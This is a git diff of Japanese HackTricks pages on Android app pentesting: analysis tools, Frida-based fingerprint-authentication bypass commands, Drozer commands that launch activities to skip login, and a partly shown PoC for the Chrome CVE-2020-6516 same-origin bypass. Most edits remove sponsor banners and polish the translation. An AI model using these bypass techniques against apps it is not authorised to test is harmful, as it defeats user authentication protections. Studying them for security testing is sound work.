Frameworkは、開発者やハッカーがAndroidアプリケーションの潜在的なセキュリティ脆弱性を見つけるのを助けるAndroid脆弱性分析システムです。\ [Windowsリリース](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] @@ -692,9 +647,9 @@ androbugs.exe -f [APK file] **Androwarn**は、Androidアプリケーションによって開発された潜在的な悪意のある動作を検出し、ユーザーに警告することを主な目的としたツールです。 -検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。[`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 +検出は、アプリケーションのDalvikバイトコードの**静的分析**を使用して行われ、**Smali**として表現されます。 [`androguard`](https://github.com/androguard/androguard)ライブラリを使用しています。 -このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します: テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... +このツールは、次のような**「悪い」アプリケーションの一般的な動作**を探します:テレフォニー識別子の流出、音声/ビデオフローの傍受、PIMデータの変更、任意のコード実行... ``` python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ``` @@ -702,7 +657,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA**は**モバイルアプリケーションの逆コンパイルと分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 +**MARA**は**モバイルアプリケーションの逆コンパイルおよび分析フレームワーク**です。これは、OWASPモバイルセキュリティ脅威に対してモバイルアプリケーションをテストするために、一般的に使用されるモバイルアプリケーションの逆コンパイルおよび分析ツールをまとめたツールです。その目的は、この作業をモバイルアプリケーションの開発者やセキュリティ専門家にとってより簡単で親しみやすくすることです。 以下のことが可能です: @@ -731,7 +686,7 @@ ProGuardはAndroid SDKの一部として配布され、アプリケーション APKをデオブフスケートするためのステップバイステップガイドは[https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)で見つけることができます。 -(そのガイドから) 最後に確認したとき、Dexguardの動作モードは次のとおりでした: +(そのガイドから)最後に確認したとき、Dexguardの動作モードは次のとおりでした: - リソースをInputStreamとして読み込む; - 結果をFilterInputStreamから継承したクラスに渡して復号化する; @@ -741,13 +696,17 @@ APKをデオブフスケートするためのステップバイステップガ ### [DeGuard](http://apk-deguard.com) -**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測など、数多くのセキュリティ分析が可能になります。** +**DeGuardは、Androidの難読化ツールによって行われた難読化プロセスを逆転させます。これにより、コード検査やライブラリの予測を含む多数のセキュリティ分析が可能になります。** 難読化されたAPKを彼らのプラットフォームにアップロードできます。 +### [Deobfuscate android App](https://github.com/In3tinct/deobfuscate-android-app) + +これは、Androidアプリの潜在的なセキュリティ脆弱性を見つけ、AndroidアプリコードをデオブフスケートするためのLLMツールです。GoogleのGeminiパブリックAPIを使用します。 + ### [Simplify](https://github.com/CalebFenton/simplify) -これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化されたコードは同じように動作しますが、人間にとって理解しやすくなります。各最適化タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。 +これは**一般的なAndroidデオブフスケーター**です。Simplifyは**アプリを仮想的に実行**してその動作を理解し、その後**コードを最適化しようとします**。最適化の各タイプはシンプルで一般的であるため、使用される特定の難読化のタイプは関係ありません。 ### [APKiD](https://github.com/rednaga/APKiD) @@ -761,7 +720,7 @@ APKiDは**APKがどのように作成されたか**に関する情報を提供 ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4bは、逆コンパイルとマルウェア分析のための最新のフレームワーク、チュートリアル、ラボのコレクションを含む、ubuntu-mateに基づいたAndroidセキュリティ仮想マシンです。 +AndroL4bは、Ubuntu-mateに基づいたAndroidセキュリティ仮想マシンで、リバースエンジニアリングとマルウェア分析のための最新のフレームワーク、チュートリアル、さまざまなセキュリティ専門家や研究者からのラボのコレクションを含んでいます。 ## 参考文献 @@ -777,19 +736,4 @@ AndroL4bは、逆コンパイルとマルウェア分析のための最新のフ - [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/) - [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit) -
- -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! - -**ハッキングの洞察**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**リアルタイムハックニュース**\ -リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう - -**最新の発表**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう - -[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう! - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md index 9dfcb27e2..74b425a3d 100644 --- a/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md +++ b/src/mobile-pentesting/android-app-pentesting/bypass-biometric-authentication-android.md @@ -2,15 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**モバイルセキュリティ**の専門知識を8kSecアカデミーで深めましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} - ## **方法 1 – 暗号オブジェクトを使用しないバイパス** -ここでの焦点は、認証プロセスにおいて重要な_onAuthenticationSucceeded_コールバックです。WithSecureの研究者は、NULL _CryptoObject_を_onAuthenticationSucceeded(...)_でバイパスするための[Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js)を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証の自動バイパスを強制します。以下は、Androidの指紋コンテキストでのバイパスを示す簡略化されたスニペットで、完全なアプリケーションは[GitHub](https://github.com/St3v3nsS/InsecureBanking)で入手できます。 +ここでの焦点は、認証プロセスにおいて重要な _onAuthenticationSucceeded_ コールバックです。WithSecureの研究者たちは、NULL _CryptoObject_ を _onAuthenticationSucceeded(...)_ でバイパスするための [Fridaスクリプト](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js) を開発しました。このスクリプトは、メソッドの呼び出し時に指紋認証の自動バイパスを強制します。以下は、Androidの指紋コンテキストにおけるバイパスを示す簡略化されたスニペットで、完全なアプリケーションは [GitHub](https://github.com/St3v3nsS/InsecureBanking) で入手可能です。 ```javascript biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() { @Override @@ -23,7 +17,7 @@ Fridaスクリプトを実行するコマンド: ```bash frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js ``` -## **方法2 – 例外処理アプローチ** +## **方法 2 – 例外処理アプローチ** Another [Frida script](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) by WithSecure addresses bypassing insecure crypto object usage. The script invokes _onAuthenticationSucceeded_ with a _CryptoObject_ that hasn't been authorized by a fingerprint. If the application tries to use a different cipher object, it will trigger an exception. The script prepares to invoke _onAuthenticationSucceeded_ and handle the _javax.crypto.IllegalBlockSizeException_ in the _Cipher_ class, ensuring subsequent objects used by the application are encrypted with the new key. @@ -44,7 +38,7 @@ Hooking FingerprintManager.authenticate()... Xposed や Frida のようなインスツルメンテーション フレームワークは、アプリケーションのメソッドにランタイムでフックするために使用できます。指紋認証の場合、これらのフレームワークは次のことができます: 1. **認証コールバックをモックする**: `BiometricPrompt.AuthenticationCallback` の `onAuthenticationSucceeded`、`onAuthenticationFailed`、または `onAuthenticationError` メソッドにフックすることで、指紋認証プロセスの結果を制御できます。 -2. **SSL ピンニングをバイパスする**: これにより、攻撃者はクライアントとサーバー間のトラフィックを傍受し、変更することができ、認証プロセスを変更したり、機密データを盗んだりする可能性があります。 +2. **SSL ピンニングをバイパスする**: これにより、攻撃者はクライアントとサーバー間のトラフィックを傍受および変更でき、認証プロセスを変更したり、機密データを盗んだりする可能性があります。 Frida の例コマンド: ```bash @@ -52,7 +46,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in ``` ## **方法 4 – リバースエンジニアリングとコード修正** -リバースエンジニアリングツールとして `APKTool`、`dex2jar`、`JD-GUI` を使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は以下の通りです: +リバースエンジニアリングツールとして `APKTool`、`dex2jar`、および `JD-GUI` を使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は次のとおりです: 1. **APKの逆コンパイル**: APKファイルをより人間が読みやすい形式(Javaコードなど)に変換します。 2. **コードの分析**: 指紋認証の実装を探し、潜在的な弱点(フォールバックメカニズムや不適切な検証チェックなど)を特定します。 @@ -60,19 +54,14 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in ## **方法 5 – カスタム認証ツールの使用** -認証メカニズムをテストし、バイパスするために設計された専門的なツールやスクリプトがあります。例えば: +認証メカニズムをテストおよびバイパスするために設計された専門的なツールやスクリプトがあります。例えば: -1. **MAGISKモジュール**: MAGISKはAndroid用のツールで、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装するモジュールを追加できます。 -2. **カスタムビルドスクリプト**: スクリプトはAndroidデバッグブリッジ(ADB)と対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために書かれることがあります。 +1. **MAGISKモジュール**: MAGISKは、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装できるモジュールを追加するためのAndroid用ツールです。 +2. **カスタムビルドスクリプト**: スクリプトは、Androidデバッグブリッジ(ADB)と対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために作成できます。 ## 参考文献 - [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/) -
- -**モバイルセキュリティ**の専門知識を深めるために8kSecアカデミーをご利用ください。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう: - -{% embed url="https://academy.8ksec.io/" %} {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/content-protocol.md b/src/mobile-pentesting/android-app-pentesting/content-protocol.md index 55125afd8..79ae381d0 100644 --- a/src/mobile-pentesting/android-app-pentesting/content-protocol.md +++ b/src/mobile-pentesting/android-app-pentesting/content-protocol.md @@ -1,9 +1,5 @@ {{#include ../../banners/hacktricks-training.md}} -
- -{% embed url="https://websec.nl/" %} - **これは投稿の要約です [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)** ### メディアストア内のファイルのリスト @@ -16,11 +12,11 @@ $ content query --uri content://media/external/file ```bash $ content query --uri content://media/external/file --projection _id,_data ``` -コンテンツプロバイダーは、それぞれのプライベート名前空間に隔離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。 +コンテンツプロバイダーは、それぞれのプライベートネームスペースに隔離されています。プロバイダーへのアクセスには、特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。 ### Chromeのコンテンツプロバイダーへのアクセス -AndroidのChromeは `content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます: +AndroidのChromeは、`content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます: メディアストアにカスタムエントリを挿入する: ```bash @@ -44,11 +40,11 @@ content query --uri content://media/external/file --projection _id,_data | grep ``` ### Chrome CVE-2020-6516: Same-Origin-Policy Bypass -_同一オリジンポリシー_ (SOP) は、ブラウザにおけるセキュリティプロトコルであり、明示的にクロスオリジンリソースシェアリング (CORS) ポリシーによって許可されない限り、ウェブページが異なるオリジンのリソースと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは `content://` をローカルスキームと見なし、各ローカルスキームURLを別々のオリジンとして扱うため、より厳格なSOPルールが適用されます。 +_Same Origin Policy_ (SOP) は、異なるオリジンからのリソースとの相互作用を制限するブラウザのセキュリティプロトコルであり、Cross-Origin-Resource-Sharing (CORS) ポリシーによって明示的に許可されない限り、ウェブページが他のオリジンと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは `content://` をローカルスキームと見なし、各ローカルスキームURLを別のオリジンとして扱うため、より厳格なSOPルールが適用されます。 -しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースに対するSOPルールのバイパスを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。 +しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースのSOPルールをバイパスすることを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。 -以下の概念実証は、この脆弱性を示しており、**/sdcard** にアップロードされ、メディアストアに追加されたHTMLドキュメントが、JavaScript内で `XMLHttpRequest` を使用してメディアストア内の別のファイルの内容にアクセスし、表示することでSOPルールをバイパスしています。 +以下の概念実証は、この脆弱性を示しており、HTMLドキュメントが**/sdcard**の下にアップロードされ、Media Storeに追加された後、JavaScript内で`XMLHttpRequest`を使用してMedia Store内の別のファイルの内容にアクセスし表示し、SOPルールをバイパスします。 Proof-of-Concept HTML: ```xml @@ -79,8 +75,4 @@ xhr.send(); ``` -
- -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 57ff3314f..f45080a3a 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -1,23 +1,19 @@ -# Drozer Tutorial +# Drozer チュートリアル {{#include ../../../banners/hacktricks-training.md}} - -**バグバウンティのヒント**: **ハッカーによって、ハッカーのために作られたプレミアム** **バグバウンティプラットフォーム** **Intigritiにサインアップ**しましょう!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! -{% embed url="https://go.intigriti.com/hacktricks" %} +## テストする APK -## テストするAPKs - -- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabsから) +- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs から) - [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz) -**このチュートリアルの一部は、** [**Drozerドキュメントpdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。** +**このチュートリアルの一部は** [**Drozer ドキュメント pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。** ## インストール -ホスト内にDrozer Clientをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。 +ホスト内に Drozer クライアントをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。 ```bash pip install drozer-2.4.4-py2-none-any.whl pip install twisted @@ -33,11 +29,11 @@ adb install drozer.apk ```bash adb forward tcp:31415 tcp:31415 ``` -最後に、**アプリケーション**を**起動**し、下の "**ON**" を押します。 +最後に、**アプリケーション**を**起動**し、下の「**ON**」を押します。 ![](<../../../images/image (459).png>) -そして接続します: +そして、それに接続します: ```bash drozer console connect ``` @@ -49,9 +45,9 @@ drozer console connect | **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 | | **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 | | **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 | -| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 | -| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 | -| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 | +| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 | +| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 | +| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 | | **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 | | **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 | | **run MODULE** | drozerモジュールを実行します | @@ -121,7 +117,7 @@ com.mwr.example.sieve.PWList ``` **アクティビティを開始**: -おそらく、アクティビティを開始し、起動を妨げるべき認証をバイパスすることができます。 +おそらく、アクティビティを開始し、起動を防ぐべきいくつかの認証をバイパスできるかもしれません。 ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` @@ -134,15 +130,15 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### コンテンツプロバイダー -この投稿はここに収まるには大きすぎるので、**こちらで独自のページにアクセスできます**[**ここ**](exploiting-content-providers.md)。 +この投稿はここに収まりきらないので、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。 ### サービス -エクスポートされたサービスはManifest.xml内で宣言されます: +エクスポートされたサービスは、Manifest.xml内で宣言されます: ```markup ``` -コード内で**check**し、**`handleMessage`**関数を探してください。この関数は**message**を**受信**します: +コード内で**check**を行い、**`handleMessage`**関数を探してください。この関数は**message**を**受信**します: ![](<../../../images/image (82).png>) @@ -167,7 +163,7 @@ app.service.stop Stop Service ![](<../../../images/image (1079).png>) -最初に"_msg.what_"のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\ +最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\ `--extra`オプションを使用すると、"_msg.replyTo_"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。 次の例では: @@ -185,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m **Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを見ることができます**。 -このブロードキャストレシーバーを発見した後は、**コードを確認**する必要があります。特に**`onReceive`**関数に注意を払ってください。これは受信したメッセージを処理します。 +このブロードキャストレシーバーを発見した後は、**コードを確認**する必要があります。特に**`onReceive`**関数に注意を払い、受信したメッセージを処理します。 #### **すべての** ブロードキャストレシーバーを検出する ```bash @@ -254,10 +250,6 @@ run app.package.debuggable - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/) - -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index bab9c5950..0330dd350 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,22 +1,17 @@ -# Frida Tutorial +# Frida チュートリアル {{#include ../../../banners/hacktricks-training.md}} -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} ## インストール -**frida tools**をインストールします: +**frida tools** をインストールします: ```bash pip install frida-tools pip install frida ``` **Androidに** **frida server** を **ダウンロードしてインストール** します ([Download the latest release](https://github.com/frida/frida/releases)).\ -adbをルートモードで再起動し、それに接続し、frida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー: +adbをルートモードで再起動し、接続し、frida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー: ```bash adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &" ``` @@ -33,21 +28,21 @@ frida-ps -U | grep -i #Get all the package name **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**[リンクをたどって読む](frida-tutorial-1.md)。** +**[リンクをクリックして読む](frida-tutorial-1.md)。** ### [チュートリアル 2](frida-tutorial-2.md) **出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート 2, 3 & 4)\ **APKとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**[リンクをたどって読む。](frida-tutorial-2.md)** +**[リンクをクリックして読む。](frida-tutorial-2.md)** ### [チュートリアル 3](owaspuncrackable-1.md) **出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk) -**[リンクをたどって読む](owaspuncrackable-1.md)。** +**[リンクをクリックして読む](owaspuncrackable-1.md)。** **ここでさらに素晴らしいFridaスクリプトを見つけることができます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) @@ -147,7 +142,7 @@ send("Decrypted flag: " + flag) return ret //[B } ``` -### 関数をフックし、入力で呼び出す +### フック関数と入力で呼び出す 文字列を受け取る関数をフックし、別の文字列で呼び出します([こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から)。 ```javascript @@ -180,12 +175,7 @@ onComplete: function () {}, ## その他のFridaチュートリアル - [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -- [高度なFrida使用法ブログシリーズの第1部:IOS暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) +- [Advanced Frida Usageブログシリーズのパート1: IOS暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) -
- -**バグバウンティのヒント**:**Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、**$100,000**までのバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index 9bd42abbf..f8122900c 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -2,19 +2,13 @@ {{#include ../../../banners/hacktricks-training.md}} -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} - **この記事の要約**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) ## Python -Fridaを使用すると、実行中のアプリケーションの関数内に**JavaScriptコード**を**挿入**できます。しかし、**python**を使用してフックを**呼び出し**、さらには**フック**と**対話**することもできます。 +Fridaを使用すると、実行中のアプリケーションの関数内に**JavaScriptコード**を**挿入**できます。しかし、**python**を使用して**フック**を**呼び出す**ことや、**フック**と**対話する**こともできます。 これは、このチュートリアルで提案されたすべての例で使用できる簡単なpythonスクリプトです: ```python @@ -55,7 +49,7 @@ return true ``` python hooking.py hook1.js ``` -見る: 関数はパラメータとしてStringを受け取りますが、オーバーロードは必要ですか? +見る: 関数は String をパラメータとして受け取りますが、オーバーロードは必要ですか? ## Hook 2 - 関数ブルートフォース @@ -122,12 +116,6 @@ return encrypted_ret このチュートリアルでは、メソッドの名前と _.implementation_ を使用してメソッドをフックしました。しかし、**同じ名前のメソッドが複数ある場合**、**引数の型を指定して**フックしたいメソッドを**特定する必要があります**。 -それについては[次のチュートリアル](frida-tutorial-2.md)で確認できます。 - -
- -**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムなバグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} +次のチュートリアルでそれを見ることができます [the next tutorial](frida-tutorial-2.md)。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index e451ea3b8..899b3d7d1 100644 --- a/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -2,23 +2,17 @@ {{#include ../../../banners/hacktricks-training.md}} -
+**この記事の要約**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート 2, 3 & 4)\ +**APKとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**バグバウンティのヒント**: **ハッカーによって、ハッカーのために作られたプレミアム** **バグバウンティプラットフォーム** **Intigriti**に**サインアップ**しましょう!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう! - -{% embed url="https://go.intigriti.com/hacktricks" %} - -**この記事の要約**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート2, 3 & 4)\ -**APKsとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) - -パート1はとても簡単です。 +パート 1はとても簡単です。 **元のコードの一部は動作せず、ここで修正されています。** -## Part 2 +## パート 2 ここでは、**同じ名前の2つの関数を異なるパラメータでフックする**方法の例を見ることができます。\ -また、**自分のパラメータで関数を呼び出す**方法を学びます。\ +また、**独自のパラメータで関数を呼び出す**方法を学びます。\ 最後に、**クラスのインスタンスを見つけて関数を呼び出す**方法の例があります。 ```javascript //s2.js @@ -54,7 +48,7 @@ onComplete: function () { } }); }); ``` -最初に、Stringを作成するために、_java.lang.String_クラスを参照し、その後、Stringを内容として持つ_$new_オブジェクトを作成したことがわかります。これはクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()`に任意のStringを渡すことができます。例えば:`this.fun("hey there!")` +最初に _java.lang.String_ クラスを参照し、その後に文字列を内容として持つ _$new_ オブジェクトを作成していることがわかります。これがクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()` に任意の文字列を渡すことができます。例えば: `this.fun("hey there!")` ### Python ```python @@ -81,7 +75,7 @@ python loader.py ### Python -これから、Pythonを使用してフックされたアプリにコマンドを送信し、関数を呼び出す方法を見ていきます: +今から、フックされたアプリにコマンドを送信して関数を呼び出す方法を見ていきます: ```python //loader.py import time @@ -112,7 +106,7 @@ script.exports.callsecretfunction() elif command == "3": script.exports.hooksecretfunction() 